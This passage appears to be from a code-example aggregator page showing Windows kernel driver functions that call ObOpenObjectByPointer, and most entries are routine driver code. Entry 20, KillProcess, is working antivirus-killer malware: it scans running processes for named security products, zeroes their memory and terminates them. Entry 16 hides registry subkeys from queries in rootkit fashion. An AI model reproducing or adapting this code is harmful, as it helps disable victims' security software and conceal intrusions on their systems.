    ObDereferenceObject( ObjectBodyA );     // ObReferenceObjectByPointer
    ObDereferenceObject( ObjectBodyB );

    ObDereferenceObject( ObjectBodyA );     // ObReferenceObjectByName
    ObDereferenceObject( ObjectBodyB );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    InitializeObjectAttributes( &ObjectAObjA,
                                &ObjectAPathName,
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL
                              );
    ObOpenObjectByName(
        &ObjectAObjA,
        0L,
        NULL,
        ObjectTypeA,
        KernelMode,
        NULL,
        &ObjectHandleA2
        );

    InitializeObjectAttributes( &ObjectBObjA,
                                &ObjectBPathName,
                                OBJ_CASE_INSENSITIVE,
                                NULL,
                                NULL
                              );
    ObOpenObjectByName(
        &ObjectBObjA,
        0L,
        NULL,
        ObjectTypeB,
        KernelMode,
        NULL,
        &ObjectHandleB2
        );

    DbgPrint( "Open Object Name %s = %lx\n", ObjectAPathName.Buffer,
            ObjectHandleA2 );

    DbgPrint( "Open Object Name %s = %lx\n", ObjectBPathName.Buffer,
            ObjectHandleB2 );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    NtClose( ObjectHandleA1 );
    NtClose( ObjectHandleB1 );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    ObReferenceObjectByHandle(
        ObjectHandleA2,
        0L,
        ObjectTypeA,
        KernelMode,
        &ObjectBodyA,
        NULL
        );

    ObReferenceObjectByHandle(
        ObjectHandleB2,
        0L,
        ObjectTypeB,
        KernelMode,
        &ObjectBodyB,
        NULL
        );
    DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleA2, ObjectBodyA );

    DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleB2, ObjectBodyB );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    ObOpenObjectByPointer(
        ObjectBodyA,
        OBJ_CASE_INSENSITIVE,
        0L,
        NULL,
        ObjectTypeA,
        KernelMode,
        &ObjectHandleA1
        );

    ObOpenObjectByPointer(
        ObjectBodyB,
        OBJ_CASE_INSENSITIVE,
        0L,
        NULL,
        ObjectTypeB,
        KernelMode,
        &ObjectHandleB1
        );

    DbgPrint( "Open Object Pointer %lx = %lx\n", ObjectBodyA,
            ObjectHandleA1 );

    DbgPrint( "Open Object Pointer %lx = %lx\n", ObjectBodyB,
            ObjectHandleB1 );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    ObReferenceObjectByHandle(
        ObjectHandleA1,
        0L,
        ObjectTypeA,
        KernelMode,
        &ObjectBodyA,
        NULL
        );

    ObReferenceObjectByHandle(
        ObjectHandleB1,
        0L,
        ObjectTypeB,
        KernelMode,
        &ObjectBodyB,
        NULL
        );
    DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleA1, ObjectBodyA );

    DbgPrint( "Reference Handle %lx = %lx\n", ObjectHandleB1, ObjectBodyB );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    ObDereferenceObject( ObjectBodyA );     // ObReferenceObjectByHandle
    ObDereferenceObject( ObjectBodyB );

    ObDereferenceObject( ObjectBodyA );     // ObReferenceObjectByHandle
    ObDereferenceObject( ObjectBodyB );

    NtClose( ObjectHandleA1 );
    NtClose( ObjectHandleB1 );

    NtClose( ObjectHandleA2 );
    NtClose( ObjectHandleB2 );

    ObpDumpObjectTable( ObpGetObjectTable(), NULL );

    TestFunction = NULL;

    return( TRUE );
}
Ejemplo n.º 16
0
static NTSTATUS _OnQueryKey(PREGISTRY_KEY_RECORD KeyRecord, PREG_QUERY_KEY_INFORMATION Info)
{
	ULONG pseudoValueCount = 0;
	ULONG hiddenKeyCount = 0;
	NTSTATUS status = STATUS_UNSUCCESSFUL;
	DEBUG_ENTER_FUNCTION("KeyRecord=0x%p; Info=0x%p", KeyRecord, Info);

	status = STATUS_SUCCESS;
	if (Info->Length > 0 && Info->KeyInformation != NULL) {
		switch (Info->KeyInformationClass) {
			case KeyCachedInformation:
			case KeyFullInformation: {
				ULONG retLength = 0;
				HANDLE keyHandle = NULL;
				PVOID keyInformation = NULL;
				KPROCESSOR_MODE accessMode = ExGetPreviousMode();

				hiddenKeyCount = HashTableGetItemCount(KeyRecord->HiddenSubkeys);
				pseudoValueCount = KeyRecordGetPseudoValuesCount(KeyRecord);
				if (hiddenKeyCount + pseudoValueCount > 0) {
					status = ObOpenObjectByPointer(Info->Object, OBJ_KERNEL_HANDLE, NULL, KEY_QUERY_VALUE, *CmKeyObjectType, KernelMode, &keyHandle);
					if (NT_SUCCESS(status)) {
						keyInformation = HeapMemoryAllocPaged(Info->Length);
						if (keyInformation != NULL) {
							status = ZwQueryKey(keyHandle, Info->KeyInformationClass, keyInformation, Info->Length, &retLength);
							if (NT_SUCCESS(status)) {
								PKEY_CACHED_INFORMATION ci = (PKEY_CACHED_INFORMATION)keyInformation;
								PKEY_FULL_INFORMATION fi = (PKEY_FULL_INFORMATION)keyInformation;

								switch (Info->KeyInformationClass) {
									case KeyCachedInformation:
										ci->SubKeys -= hiddenKeyCount;
										ci->Values += pseudoValueCount;
										break;
									case KeyFullInformation:
										fi->SubKeys -= hiddenKeyCount;
										fi->Values += pseudoValueCount;
										break;
									default:
										ASSERT(FALSE);
										break;
								}

								if (accessMode == UserMode) {
									__try {
										memcpy(Info->KeyInformation, keyInformation, retLength);
										if (Info->ResultLength != NULL)
											*(Info->ResultLength) = retLength;
									} __except (EXCEPTION_EXECUTE_HANDLER) {
										status = GetExceptionCode();
									}
								} else {
									memcpy(Info->KeyInformation, keyInformation, retLength);
									if (Info->ResultLength != NULL)
										*(Info->ResultLength) = retLength;
								}

								if (NT_SUCCESS(status))
									status = STATUS_CALLBACK_BYPASS;
							}

							HeapMemoryFree(keyInformation);
						} else status = STATUS_INSUFFICIENT_RESOURCES;
					
						ZwClose(keyHandle);
					}
Ejemplo n.º 17
0
//
//	Query information on LanscsiBus
//
NTSTATUS
LSBus_QueryInformation(
		PFDO_DEVICE_DATA				FdoData,
		PBUSENUM_QUERY_INFORMATION		Query,
		PBUSENUM_INFORMATION			Information,
		LONG							OutBufferLength,
		PLONG							OutBufferLenNeeded
	) {

	NTSTATUS			ntStatus;
	PLIST_ENTRY         entry;
	PPDO_DEVICE_DATA	PdoData;
	

	ntStatus = STATUS_SUCCESS;
	*OutBufferLenNeeded = OutBufferLength;
	PdoData = NULL;

	//
	//	Acquire the mutex to prevent PdoData ( Device Extension ) to disappear.
	//
    KeEnterCriticalRegion();
	ExAcquireFastMutex (&FdoData->Mutex);

	switch(Query->InfoClass) {
	case INFORMATION_NUMOFPDOS: {
		ULONG				NumOfPDOs;

		NumOfPDOs = 0;

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {
			NumOfPDOs ++;
		}

		Information->NumberOfPDOs = NumOfPDOs;
		break;
	}
	case INFORMATION_PDO: {
		KIRQL	oldIrql;

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

				PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);
				if(Query->SlotNo == PdoData->SlotNo) {
					ObReferenceObject(PdoData->Self);
					break;
				}
				PdoData = NULL;

		}

		if(PdoData) {
			KeAcquireSpinLock(&PdoData->LanscsiAdapterPDO.LSDevDataSpinLock, &oldIrql);
			Bus_KdPrint_Def(BUS_DBG_SS_TRACE, ("Status:%08lx DAcc:%08lx GAcc:%08lx\n",
											PdoData->LanscsiAdapterPDO.AdapterStatus,
											PdoData->LanscsiAdapterPDO.DesiredAccess,
											PdoData->LanscsiAdapterPDO.GrantedAccess
									));
			Information->PdoInfo.AdapterStatus = PdoData->LanscsiAdapterPDO.AdapterStatus;
			Information->PdoInfo.DesiredAccess = PdoData->LanscsiAdapterPDO.DesiredAccess;
			Information->PdoInfo.GrantedAccess = PdoData->LanscsiAdapterPDO.GrantedAccess;
			KeReleaseSpinLock(&PdoData->LanscsiAdapterPDO.LSDevDataSpinLock, oldIrql);

			ObDereferenceObject(PdoData->Self);
		} else {
			Bus_KdPrint_Def(BUS_DBG_SS_NOISE, ("No PDO for SlotNo %d!\n", Query->SlotNo));
			ntStatus = STATUS_NO_SUCH_DEVICE;
		}
		break;
	}
	case INFORMATION_PDOENUM: {
		LARGE_INTEGER		TimeOut;

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

				PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);
				if(Query->SlotNo == PdoData->SlotNo) {
					ObReferenceObject(PdoData->Self);
					break;
				}
				PdoData = NULL;

		}

		ExReleaseFastMutex (&FdoData->Mutex);
	    KeLeaveCriticalRegion();

		if(!PdoData) {
		    KeEnterCriticalRegion();
			ExAcquireFastMutex (&FdoData->Mutex);
			ntStatus = STATUS_NO_SUCH_DEVICE;
			break;
		}
		//
		//	Wait until LDServ sends AddTargetData.
		//
		Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("waiting for AddTargetEvent.\n"));
		TimeOut.QuadPart = -10 * 1000 * 1000 * 120;			// 120 seconds
		ntStatus = KeWaitForSingleObject(
						&PdoData->LanscsiAdapterPDO.AddTargetEvent,
						Executive,
						KernelMode,
						FALSE,
						&TimeOut
					);
		if(ntStatus != STATUS_SUCCESS) {
		    KeEnterCriticalRegion();
			ExAcquireFastMutex (&FdoData->Mutex);

			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("failed to wait for AddTargetEvent.\n"));
			ntStatus = STATUS_NO_SUCH_DEVICE;
			ObDereferenceObject(PdoData->Self);
			break;
		}
		Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Completed to wait for AddTargetEvent.\n"));

	    KeEnterCriticalRegion();
		ExAcquireFastMutex (&FdoData->Mutex);


		if(PdoData) {

			if(PdoData->LanscsiAdapterPDO.Flags & LSDEVDATA_FLAG_LURDESC) {
				//
				//	A LUR descriptor is set.
				//

				if(PdoData->LanscsiAdapterPDO.AddDevInfo == NULL) {
					ntStatus = STATUS_NO_SUCH_DEVICE;
					ObDereferenceObject(PdoData->Self);
					break;
				}

				*OutBufferLenNeeded =	FIELD_OFFSET(BUSENUM_INFORMATION, PdoEnumInfo) +
										FIELD_OFFSET(BUSENUM_INFORMATION_PDOENUM, AddDevInfo) +
										PdoData->LanscsiAdapterPDO.AddDevInfoLength;
				if(OutBufferLength < *OutBufferLenNeeded) {
					ntStatus = STATUS_BUFFER_TOO_SMALL;
				} else {
					RtlCopyMemory(
								&Information->PdoEnumInfo.AddDevInfo,
								PdoData->LanscsiAdapterPDO.AddDevInfo,
								PdoData->LanscsiAdapterPDO.AddDevInfoLength
							);
					Information->PdoEnumInfo.Flags = PDOENUM_FLAG_LURDESC;
					Information->PdoEnumInfo.DisconEventToService = PdoData->LanscsiAdapterPDO.DisconEventToService;
					Information->PdoEnumInfo.AlarmEventToService = PdoData->LanscsiAdapterPDO.AlarmEventToService;
					Information->PdoEnumInfo.MaxBlocksPerRequest = PdoData->LanscsiAdapterPDO.MaxBlocksPerRequest;
				}
			} else {
				//
				//	ADD_TARGET_DATA is set.
				//
				PLANSCSI_ADD_TARGET_DATA	AddTargetData;
			LONG						AddTargetLenNeeded;
			LONG						InfoBuffLenNeeded;

				AddTargetData = PdoData->LanscsiAdapterPDO.AddDevInfo;
				if(AddTargetData == NULL) {
				ntStatus = STATUS_NO_SUCH_DEVICE;
				ObDereferenceObject(PdoData->Self);
				break;
			}
				//
				//	calculate the length needed.
				//
				AddTargetLenNeeded = sizeof(LANSCSI_ADD_TARGET_DATA) + (AddTargetData->ulNumberOfUnitDiskList-1)*sizeof(LSBUS_UNITDISK);
				InfoBuffLenNeeded = sizeof(BUSENUM_INFORMATION) - sizeof(BYTE) + (AddTargetLenNeeded);
			*OutBufferLenNeeded = InfoBuffLenNeeded;
			if(OutBufferLength < InfoBuffLenNeeded) {
				ntStatus = STATUS_BUFFER_TOO_SMALL;
			} else {
					RtlCopyMemory(&Information->PdoEnumInfo.AddDevInfo, AddTargetData, AddTargetLenNeeded);
					Information->PdoEnumInfo.Flags = 0;
				Information->PdoEnumInfo.DisconEventToService = PdoData->LanscsiAdapterPDO.DisconEventToService;
				Information->PdoEnumInfo.AlarmEventToService = PdoData->LanscsiAdapterPDO.AlarmEventToService;
				Information->PdoEnumInfo.MaxBlocksPerRequest = PdoData->LanscsiAdapterPDO.MaxBlocksPerRequest;
			}
			}
		} else {

			ntStatus = STATUS_NO_SUCH_DEVICE;
		}

		ObDereferenceObject(PdoData->Self);
		break;
	}
	case INFORMATION_PDOEVENT: {

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

				PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);
				if(Query->SlotNo == PdoData->SlotNo) {
					ObReferenceObject(PdoData->Self);
					break;
				}
				PdoData = NULL;

		}

		if(PdoData == NULL) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not find the PDO:%u.\n", Query->SlotNo));
			ntStatus = STATUS_NO_SUCH_DEVICE;
			break;
		}

		if( Query->Flags & LSBUS_QUERYFLAG_USERHANDLE) {
			Information->PdoEvents.SlotNo = PdoData->SlotNo;
			Information->PdoEvents.Flags = LSBUS_QUERYFLAG_USERHANDLE;

			//
			//	Get user-mode event handles.
			//
			ntStatus = ObOpenObjectByPointer(
					PdoData->LanscsiAdapterPDO.DisconEventToService,
					0,
					NULL,
					GENERIC_READ,
					*ExEventObjectType,
					UserMode,
					&Information->PdoEvents.DisconEvent
				);
			if(!NT_SUCCESS(ntStatus)) {
				ObDereferenceObject(PdoData->Self);
				Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open Disconnect event object!!\n"));
				break;
			}
			ntStatus = ObOpenObjectByPointer(
					PdoData->LanscsiAdapterPDO.AlarmEventToService,
					0,
					NULL,
					GENERIC_READ,
					*ExEventObjectType,
					UserMode,
					&Information->PdoEvents.AlarmEvent
				);
			if(!NT_SUCCESS(ntStatus)) {
				ObDereferenceObject(PdoData->Self);
				Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open Disconnect event object!!\n"));
				break;
			}

		} else {
			Information->PdoEvents.SlotNo = PdoData->SlotNo;
			Information->PdoEvents.Flags = 0;
			Information->PdoEvents.DisconEvent = PdoData->LanscsiAdapterPDO.DisconEventToService;
			Information->PdoEvents.AlarmEvent = PdoData->LanscsiAdapterPDO.AlarmEventToService;
		}

		ObDereferenceObject(PdoData->Self);
		break;
   }
	case INFORMATION_ISREGISTERED: {
		HANDLE	DeviceReg;
		HANDLE	NdasDeviceReg;

		ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL);

		DeviceReg = NULL;
		NdasDeviceReg = NULL;
		ntStatus = Reg_OpenDeviceRegistry(FdoData->UnderlyingPDO, &DeviceReg, KEY_READ|KEY_WRITE);
		if(!NT_SUCCESS(ntStatus)) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("ISREGISTERED: OpenServiceRegistry() failed.\n"));
			break;
		}
		ntStatus = Reg_OpenNdasDeviceRegistry(&NdasDeviceReg, KEY_READ|KEY_WRITE, DeviceReg);
		if(!NT_SUCCESS(ntStatus)) {
			ZwClose(DeviceReg);
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("ISREGISTERED: OpenNdasDeviceRegistry() failed.\n"));
			break;
		}

		ntStatus = Reg_LookupRegDeviceWithSlotNo(NdasDeviceReg, Query->SlotNo, &DeviceReg);
		if(NT_SUCCESS(ntStatus)) {
			ZwClose(DeviceReg);
			Information->IsRegistered = 1;
			Bus_KdPrint_Def(BUS_DBG_SS_INFO, ("ISREGISTERED: Device(%d) is registered.\n", Query->SlotNo));
		} else {
			Information->IsRegistered = 0;
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("ISREGISTERED: Could not find a Device(%d).\n", Query->SlotNo));
		}
		if(NdasDeviceReg)
			ZwClose(NdasDeviceReg);
		if(DeviceReg)
			ZwClose(DeviceReg);

		break;
	}

	case INFORMATION_PDOSLOTLIST: {
		LONG	outputLength;
		LONG	entryCnt;

		if(OutBufferLength < FIELD_OFFSET(BUSENUM_INFORMATION, PdoSlotList)) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Buffer size is less than required\n"));
			ntStatus = STATUS_INVALID_PARAMETER;
			break;
		}

		Information->Size = 0;
		Information->InfoClass = INFORMATION_PDOSLOTLIST;

		//
		//	Add the size of information header.
		//
		outputLength = FIELD_OFFSET(BUSENUM_INFORMATION, PdoSlotList);
		outputLength += sizeof(UINT32);					// SlotNoCnt
		entryCnt = 0;

		for (entry = FdoData->ListOfPDOs.Flink;
			entry != &FdoData->ListOfPDOs;
			entry = entry->Flink) {

			PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link);

			//
			//	Add the size of each slot entry.
			//
			outputLength += sizeof(UINT32);
			if(outputLength > OutBufferLength) {
				continue;
			}

			Information->PdoSlotList.SlotNo[entryCnt] = PdoData->SlotNo;
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Entry #%u: %u\n", entryCnt, PdoData->SlotNo));

			entryCnt ++;
		}

		if(outputLength > OutBufferLength) {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Could not find a Device(%d).\n", Query->SlotNo));
			*OutBufferLenNeeded = outputLength;
			ntStatus = STATUS_BUFFER_TOO_SMALL;
		} else {
			Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Entry count:%d.\n", entryCnt));
			Information->Size = outputLength;
			Information->PdoSlotList.SlotNoCnt = entryCnt;
			*OutBufferLenNeeded = outputLength;
		}

		break;
	}

	default:
		ntStatus = STATUS_INVALID_PARAMETER;
	}

	ExReleaseFastMutex (&FdoData->Mutex);
    KeLeaveCriticalRegion();

	return ntStatus;
}
Ejemplo n.º 18
0
/* KphOpenProcessTokenEx
 * 
 * Opens the primary token of the specified process.
 */
NTSTATUS KphOpenProcessTokenEx(
    __in HANDLE ProcessHandle,
    __in ACCESS_MASK DesiredAccess,
    __in ULONG ObjectAttributes,
    __out PHANDLE TokenHandle,
    __in KPROCESSOR_MODE AccessMode
    )
{
    NTSTATUS status = STATUS_SUCCESS;
    PEPROCESS processObject;
    PACCESS_TOKEN tokenObject;
    HANDLE tokenHandle;
    ACCESS_STATE accessState;
    CHAR auxData[AUX_ACCESS_DATA_SIZE];
    
    status = SeCreateAccessState(
        &accessState,
        (PAUX_ACCESS_DATA)auxData,
        DesiredAccess,
        (PGENERIC_MAPPING)KVOFF(*SeTokenObjectType, OffOtiGenericMapping)
        );
    
    if (!NT_SUCCESS(status))
    {
        return status;
    }
    
    if (accessState.RemainingDesiredAccess & MAXIMUM_ALLOWED)
        accessState.PreviouslyGrantedAccess |= TOKEN_ALL_ACCESS;
    else
        accessState.PreviouslyGrantedAccess |= accessState.RemainingDesiredAccess;
    
    accessState.RemainingDesiredAccess = 0;
    
    status = ObReferenceObjectByHandle(
        ProcessHandle,
        0,
        *PsProcessType,
        KernelMode,
        &processObject,
        NULL
        );
    
    if (!NT_SUCCESS(status))
    {
        SeDeleteAccessState(&accessState);
        return status;
    }
    
    tokenObject = PsReferencePrimaryToken(processObject);
    ObDereferenceObject(processObject);
    
    status = ObOpenObjectByPointer(
        tokenObject,
        ObjectAttributes,
        &accessState,
        0,
        *SeTokenObjectType,
        AccessMode,
        &tokenHandle
        );
    SeDeleteAccessState(&accessState);
    ObDereferenceObject(tokenObject);
    
    if (NT_SUCCESS(status))
        *TokenHandle = tokenHandle;
    
    return status;
}
Ejemplo n.º 19
0
SERMOUSE_MOUSE_TYPE
SermouseDetectLegacyDevice(
	IN PDEVICE_OBJECT LowerDevice)
{
	HANDLE Handle;
	ULONG Fcr, Mcr;
	ULONG BaudRate;
	ULONG Command;
	SERIAL_TIMEOUTS Timeouts;
	SERIAL_LINE_CONTROL LCR;
	ULONG_PTR i, Count = 0;
	UCHAR Buffer[16];
	SERMOUSE_MOUSE_TYPE MouseType = mtNone;
	NTSTATUS Status;

	TRACE_(SERMOUSE, "SermouseDetectLegacyDevice(LowerDevice %p)\n", LowerDevice);

	RtlZeroMemory(Buffer, sizeof(Buffer));

	/* Open port */
	Status = ObOpenObjectByPointer(
		LowerDevice,
		OBJ_KERNEL_HANDLE,
		NULL,
		0,
		NULL,
		KernelMode,
		&Handle);
	if (!NT_SUCCESS(Status)) return mtNone;

	/* Reset UART */
	TRACE_(SERMOUSE, "Reset UART\n");
	Mcr = 0; /* MCR: DTR/RTS/OUT2 off */
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_MODEM_CONTROL,
		&Mcr, sizeof(Mcr), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* Set communications parameters */
	TRACE_(SERMOUSE, "Set communications parameters\n");
	/* DLAB off */
	Fcr = 0;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_FIFO_CONTROL,
		&Fcr, sizeof(Fcr), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	/* Set serial port speed */
	BaudRate = 1200;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE,
		&BaudRate, sizeof(BaudRate), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	/* Set LCR */
	LCR.WordLength = 7;
	LCR.Parity = NO_PARITY;
	LCR.StopBits = STOP_BITS_2;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL,
		&LCR, sizeof(LCR), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* Flush receive buffer */
	TRACE_(SERMOUSE, "Flush receive buffer\n");
	Command = SERIAL_PURGE_RXCLEAR;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_MODEM_CONTROL,
		&Command, sizeof(Command), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	/* Wait 100 ms */
	Wait(100);

	/* Enable DTR/RTS */
	TRACE_(SERMOUSE, "Enable DTR/RTS\n");
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* Set timeout to 500 microseconds */
	TRACE_(SERMOUSE, "Set timeout to 500 microseconds\n");
	Timeouts.ReadIntervalTimeout = 100;
	Timeouts.ReadTotalTimeoutMultiplier = 0;
	Timeouts.ReadTotalTimeoutConstant = 500;
	Timeouts.WriteTotalTimeoutMultiplier = Timeouts.WriteTotalTimeoutConstant = 0;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_TIMEOUTS,
		&Timeouts, sizeof(Timeouts), NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* Fill the read buffer */
	TRACE_(SERMOUSE, "Fill the read buffer\n");
	Status = ReadBytes(LowerDevice, Buffer, sizeof(Buffer)/sizeof(Buffer[0]), &Count);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	for (i = 0; i < Count; i++)
	{
		if (Buffer[i] == 'B')
		{
			/* Sign for Microsoft Ballpoint */
			ERR_(SERMOUSE, "Microsoft Ballpoint device detected. THIS DEVICE IS NOT YET SUPPORTED");
			MouseType = mtNone;
			goto ByeBye;
		}
		else if (Buffer[i] == 'M')
		{
			/* Sign for Microsoft Mouse protocol followed by button specifier */
			if (i == sizeof(Buffer) - 1)
			{
				/* Overflow Error */
				goto ByeBye;
			}
			switch (Buffer[i + 1])
			{
				case '3':
					INFO_(SERMOUSE, "Microsoft Mouse with 3-buttons detected\n");
					MouseType = mtLogitech;
					break;
				case 'Z':
					INFO_(SERMOUSE, "Microsoft Wheel Mouse detected\n");
					MouseType = mtWheelZ;
					break;
				default:
					INFO_(SERMOUSE, "Microsoft Mouse with 2-buttons detected\n");
					MouseType = mtMicrosoft;
					break;
			}
			goto ByeBye;
		}
	}

ByeBye:
	/* Close port */
	if (Handle)
		ZwClose(Handle);
	return MouseType;
}
Ejemplo n.º 20
0
void KillProcess(PVOID Context)
{
	NTSTATUS status;
	HANDLE prohd;
	BOOLEAN bexe;
	ULONG puserAddress;
	KAPC_STATE ApcState; 
	ANSI_STRING imagename;
	PEPROCESS pepro,ptempepro;
	LARGE_INTEGER timeout;
	PSE_AUDIT_PROCESS_CREATION_INFO papc;
	ANSI_STRING	pastr;
	PVOID pstrb=NULL;
	while(TRUE)
	{
		pepro=PsGetCurrentProcess();
		ptempepro=pepro;
		do 
		{
			bexe=FALSE;
			RtlInitAnsiString(&imagename,(PVOID)((ULONG)ptempepro+eprooffset.ImageFileName)); //+0x174 ImageFileName 
			papc=(PSE_AUDIT_PROCESS_CREATION_INFO)((ULONG)ptempepro+eprooffset.SE_AUDIT_PROCESS_CREATION_INFO);//EPROCESS偏移0x1f4处存放着_SE_AUDIT_PROCESS_CREATION_INFO结构的指针
			__try
			{
				if (papc->ImageFileName->Name.Length!=0)
				{
					RtlUnicodeStringToAnsiString(&pastr,&papc->ImageFileName->Name,TRUE);
					pstrb=strstr(pastr.Buffer,"360");
					if (pstrb!=NULL)
					{
						bexe=TRUE;
					}
					RtlFreeAnsiString(&pastr);
				}
			}__except(1){}
			KillCompare(&imagename,"360tray.exe",&bexe);
			KillCompare(&imagename,"360safe.exe",&bexe);
			KillCompare(&imagename,"ZhuDongFangYu.e",&bexe);
			KillCompare(&imagename,"360rp.exe",&bexe);
			KillCompare(&imagename,"360sd.exe",&bexe);
			KillCompare(&imagename,"qqpcrtp.exe",&bexe);
			KillCompare(&imagename,"qqpcleakscan.ex",&bexe);
			KillCompare(&imagename,"qqpctray.exe",&bexe);
			KillCompare(&imagename,"qqpcmgr.exe",&bexe);
			KillCompare(&imagename,"ksafe.exe",&bexe);
			KillCompare(&imagename,"kscan.exe",&bexe);
			KillCompare(&imagename,"kxescore.exe",&bexe);
			KillCompare(&imagename,"kxetray.exe",&bexe);
			KillCompare(&imagename,"ksafesvc.exe",&bexe);
			KillCompare(&imagename,"ksafetray.exe",&bexe);
			KillCompare(&imagename,"ksmgui.exe",&bexe);
			KillCompare(&imagename,"ksmsvc.exe",&bexe);
			KillCompare(&imagename,"avcenter.exe",&bexe);
			KillCompare(&imagename,"avgnt.exe",&bexe);
			KillCompare(&imagename,"avguard.exe",&bexe);
			KillCompare(&imagename,"avshadow.exe",&bexe);
			KillCompare(&imagename,"sched.exe",&bexe);
			KillCompare(&imagename,"ravmond.exe",&bexe);
			KillCompare(&imagename,"rsagent.exe",&bexe);
			KillCompare(&imagename,"rstray.exe",&bexe);
			KillCompare(&imagename,"rsmgrsvc.exe",&bexe);
			if (bexe)
			{
				KeStackAttachProcess(ptempepro,&ApcState);
				for(puserAddress=0;puserAddress<=0x7fffffff;puserAddress+=0x1000)
				{  
					if(MmIsAddressValid((PVOID)puserAddress))
					{
						__try
						{
							ProbeForWrite((PVOID)puserAddress,0x1000,sizeof(ULONG));
							RtlZeroMemory((PVOID)puserAddress, 0x1000);
						}__except(1)
						{ 
							continue;  
						}
					}
					else
					{
						if(puserAddress>0x1000000)//填这么多足够破坏进程数据了
						{
							break;
						}
					}
				}
				KeUnstackDetachProcess(&ApcState);
				status=ObOpenObjectByPointer(ptempepro,0,NULL,PROCESS_ALL_ACCESS,*PsProcessType,KernelMode,&prohd);
				if (NT_SUCCESS(status))
				{
					ZwTerminateProcess(prohd,0);
					ZwClose(prohd);
				}
			}
			ptempepro=(PEPROCESS)((ULONG)(*(PULONG)((ULONG)ptempepro+eprooffset.ActiveProcessLinks))-eprooffset.ActiveProcessLinks); //+0x088 ActiveProcessLinks : _LIST_ENTRY
		} while (ptempepro!=pepro);
Ejemplo n.º 21
0
NTSTATUS
SerenumDetectPnpDevice(
	IN PDEVICE_OBJECT DeviceObject,
	IN PDEVICE_OBJECT LowerDevice)
{
	HANDLE Handle = NULL;
	UCHAR Buffer[256];
	ULONG BaudRate;
	ULONG_PTR TotalBytesReceived = 0;
	ULONG_PTR Size;
	ULONG Msr, Purge;
	ULONG i;
	BOOLEAN BufferContainsBeginId = FALSE;
	BOOLEAN BufferContainsEndId = FALSE;
	SERIAL_LINE_CONTROL Lcr;
	SERIAL_TIMEOUTS Timeouts;
	SERIALPERF_STATS PerfStats;
	NTSTATUS Status;

	/* Open port */
	Status = ObOpenObjectByPointer(
		LowerDevice,
		OBJ_KERNEL_HANDLE,
		NULL,
		0,
		NULL,
		KernelMode,
		&Handle);
	if (!NT_SUCCESS(Status)) goto ByeBye;

	/* 1. COM port initialization, check for device enumerate */
	TRACE_(SERENUM, "COM port initialization, check for device enumerate\n");
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_DTR,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS,
		NULL, 0, NULL, NULL);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	Wait(200);
	Size = sizeof(Msr);
	Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_GET_MODEMSTATUS,
		NULL, 0, &Msr, &Size);
	if (!NT_SUCCESS(Status)) goto ByeBye;
	if ((Msr & SERIAL_DSR_STATE) == 0) goto DisconnectIdle;

	/* 2. COM port setup, 1st phase */
	TRACE_(SERENUM, "COM port setup, 1st phase\n");
	BaudRate = 1200;
